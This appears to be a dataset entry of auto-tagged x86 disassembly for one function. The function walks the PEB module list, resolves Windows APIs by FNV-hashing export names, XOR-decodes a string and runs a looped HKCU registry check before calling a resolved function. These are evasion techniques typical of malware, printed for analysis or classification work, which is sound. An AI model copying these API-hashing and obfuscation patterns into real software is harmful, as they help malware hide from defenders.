Function at 0x460a2f
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push 0x28c
mov eax, 0x49a6a1
call fcn.0046c7ed
mov ecx, dword [0x4ca48c]
test ecx, ecx
jne 0x40cccd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [ebp - 0x294], ecx
lea ecx, [edx + esi]
mov dword [ebp - 0x290], ecx
cmp ecx, esi
je 0x40cca7
mov edx, dword [ecx + 0x18]
test edx, edx
je 0x40cca7
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edx*4]
add ecx, esi
sub ecx, 4
dec edx
mov dword [ebp - 0x280], ecx
mov edi, dword [ecx]
mov ecx, 0x99de1e62
add edi, esi
mov dword [ebp - 0x27c], ecx
mov cl, byte [edi]
inc edi
mov byte [ebp - 0x275], cl
test cl, cl
mov ecx, dword [ebp - 0x280]
je 0x40cca3
mov cl, byte [ebp - 0x275]
mov esi, dword [ebp - 0x27c]
movsx ecx, cl
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edi]
inc edi
test cl, cl
jne 0x40cc76
mov dword [ebp - 0x27c], esi
cmp dword [ebp - 0x27c], 0xc3c3fef2
mov esi, dword [eax + 0x18]
je 0x40ccae
mov ecx, dword [ebp - 0x280]
test edx, edx
jne 0x40cc3e
mov eax, dword [eax]
jmp 0x40cc0e
mov eax, dword [ebp - 0x290]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
movzx eax, word [eax + edx*2]
mov ecx, dword [ecx + eax*4]
add ecx, esi
mov dword [0x4ca48c], ecx
push 0x104
lea eax, [ebp - 0x214]
push eax
xor eax, eax
push eax
call ecx
mov eax, dword fs:[0x30]
xor edx, edx
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 0x288], eax
mov dword [ebp - 0x284], ecx
mov esi, dword [ecx + 0x18]
mov eax, dword [esi + 0x3c]
mov ecx, dword [eax + esi + 0x78]
mov eax, dword [eax + esi + 0x7c]
mov dword [ebp - 0x294], eax
lea eax, [ecx + esi]
mov dword [ebp - 0x28c], eax
cmp eax, esi
je 0x40cd98
mov edi, dword [eax + 0x18]
test edi, edi
je 0x40cd98
mov eax, dword [eax + 0x20]
lea eax, [eax + edi*4]
add eax, esi
sub eax, 4
dec edi
mov dword [ebp - 0x280], eax
mov ecx, dword [eax]
mov eax, 0x7c2de8d9
add ecx, esi
mov dword [ebp - 0x27c], eax
mov al, byte [ecx]
inc ecx
mov byte [ebp - 0x275], al
test al, al
mov eax, dword [ebp - 0x280]
je 0x40cd94
mov al, byte [ebp - 0x275]
mov edx, dword [ebp - 0x27c]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40cd64
mov dword [ebp - 0x27c], edx
xor edx, edx
cmp dword [ebp - 0x27c], 0xae389f23
je 0x40d091
mov eax, dword [ebp - 0x280]
test edi, edi
jne 0x40cd2c
mov eax, dword [ebp - 0x284]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 0x284], ecx
cmp eax, dword [ebp - 0x288]
je 0x40cdb9
cmp dword [ecx + 0x18], edx
jne 0x40ccfc
mov dword [ebp - 0x288], edx
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 0x28c], eax
mov dword [ebp - 0x280], ecx
mov esi, dword [ecx + 0x18]
mov eax, dword [esi + 0x3c]
mov ecx, dword [eax + esi + 0x78]
mov eax, dword [eax + esi + 0x7c]
mov dword [ebp - 0x294], eax
lea eax, [ecx + esi]
mov dword [ebp - 0x294], eax
cmp eax, esi
je 0x40ce77
mov edi, dword [eax + 0x18]
test edi, edi
je 0x40ce77
mov eax, dword [eax + 0x20]
lea eax, [eax + edi*4]
add eax, esi
sub eax, 4
dec edi
mov dword [ebp - 0x284], eax
mov ecx, dword [eax]
mov eax, 0x59a8d50e
add ecx, esi
mov dword [ebp - 0x27c], eax
mov al, byte [ecx]
inc ecx
mov byte [ebp - 0x275], al
test al, al
mov eax, dword [ebp - 0x284]
je 0x40ce73
mov al, byte [ebp - 0x275]
mov edx, dword [ebp - 0x27c]
movsx eax, al
xor eax, edx
imul edx, eax, 0x1000193
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40ce43
mov dword [ebp - 0x27c], edx
xor edx, edx
cmp dword [ebp - 0x27c], 0xdaa9718e
je 0x40d0b5
mov eax, dword [ebp - 0x284]
test edi, edi
jne 0x40ce0b
mov eax, dword [ebp - 0x280]
mov eax, dword [eax]
mov ecx, eax
mov dword [ebp - 0x280], eax
cmp eax, dword [ebp - 0x28c]
je 0x40ce98
cmp dword [ecx + 0x18], edx
jne 0x40cddb
mov edi, edx
movups xmm0, xmmword [0x4b6b70]
mov byte [ebp - 0x218], 1
mov ecx, edx
movups xmmword [ebp - 0x238], xmm0
movups xmm0, xmmword [0x4b6620]
movups xmmword [ebp - 0x228], xmm0
lea eax, [ecx - 0x31]
xor byte [ebp + ecx - 0x238], al
inc ecx
cmp ecx, 0x1f
jb 0x40cebf
lea eax, [ebp - 0x290]
mov byte [ebp - 0x218], dl
push eax
lea eax, [ebp - 0x238]
push eax
push 0x80000001
call edi
cmp dword [ebp - 0x290], 0
je 0x40d0f0
xor eax, eax
mov esi, eax
mov edx, esi
mov dword [ebp - 0x294], 0x100
lea ecx, [ebp - 0x274]
call fcn.00402365
mov edi, eax
xor ecx, ecx
mov dword [ebp - 4], ecx
cmp dword [edi + 0x14], 0xf
jbe 0x40cf21
mov edi, dword [edi]
movups xmm0, xmmword [0x4b6b70]
mov byte [ebp - 0x23c], 1
mov edx, ecx
movups xmmword [ebp - 0x25c], xmm0
movups xmm0, xmmword [0x4b6620]
movups xmmword [ebp - 0x24c], xmm0
lea eax, [edx - 0x31]
xor byte [ebp + edx - 0x25c], al
inc edx
cmp edx, 0x1f
jb 0x40cf46
lea eax, [ebp - 0x294]
mov byte [ebp - 0x23c], cl
push eax
lea eax, [ebp - 0x110]
push eax
push ecx
push 0xffff
push edi
lea eax, [ebp - 0x25c]
push eax
push 0x80000001
call dword [ebp - 0x288]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x274]
call fcn.004151f6
lea eax, [ebp - 0x214]
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.0046d680
pop ecx
pop ecx
test eax, eax
jne 0x40d0f8
inc esi
cmp esi, 0xa
jl 0x40cefb
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov edx, eax
mov dword [ebp - 0x280], eax
mov ecx, eax
mov dword [ebp - 0x284], edx
mov edx, dword [edx + 0x18]
mov eax, dword [edx + 0x3c]
mov esi, dword [eax + edx + 0x78]
add esi, edx
mov dword [ebp - 0x28c], esi
cmp esi, edx
je 0x40d072
mov ecx, dword [esi + 0x18]
test ecx, ecx
je 0x40d06c
mov eax, dword [esi + 0x20]
lea eax, [eax + ecx*4]
add eax, edx
sub eax, 4
dec ecx
mov dword [ebp - 0x288], eax
mov edi, dword [eax]
mov eax, 0x35b4c2a7
add edi, edx
mov dword [ebp - 0x27c], eax
mov al, byte [edi]
inc edi
mov byte [ebp - 0x275], al
test al, al
mov eax, dword [ebp - 0x288]
je 0x40d068
mov al, byte [ebp - 0x275]
mov esi, dword [ebp - 0x27c]
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
mov al, byte [edi]
inc edi
test al, al
jne 0x40d038
mov dword [ebp - 0x27c], esi
cmp dword [ebp - 0x27c], 0x79c277a8
mov esi, dword [ebp - 0x28c]
je 0x40d0d3
mov eax, dword [ebp - 0x288]
test ecx, ecx
jne 0x40d000
mov ecx, dword [ebp - 0x280]
mov eax, dword [ebp - 0x284]
mov edx, dword [eax]
xor eax, eax
mov dword [ebp - 0x284], edx
cmp edx, ecx
je 0x40d0e8
cmp dword [edx + 0x18], eax
jne 0x40cfd7
jmp 0x40d0e8
mov eax, dword [ebp - 0x28c]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
movzx eax, word [eax + edi*2]
mov edi, dword [ecx + eax*4]
add edi, esi
mov dword [ebp - 0x288], edi
jmp 0x40cdbf
mov eax, dword [ebp - 0x294]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, esi
add eax, esi
movzx eax, word [eax + edi*2]
mov edi, dword [ecx + eax*4]
add edi, esi
jmp 0x40ce9a
mov eax, dword [esi + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
push dword [ebp - 0x290]
call eax
xor al, al
call fcn.0046c79c
ret
mov al, 1
jmp 0x40d0f2
jmp 0x40cbe5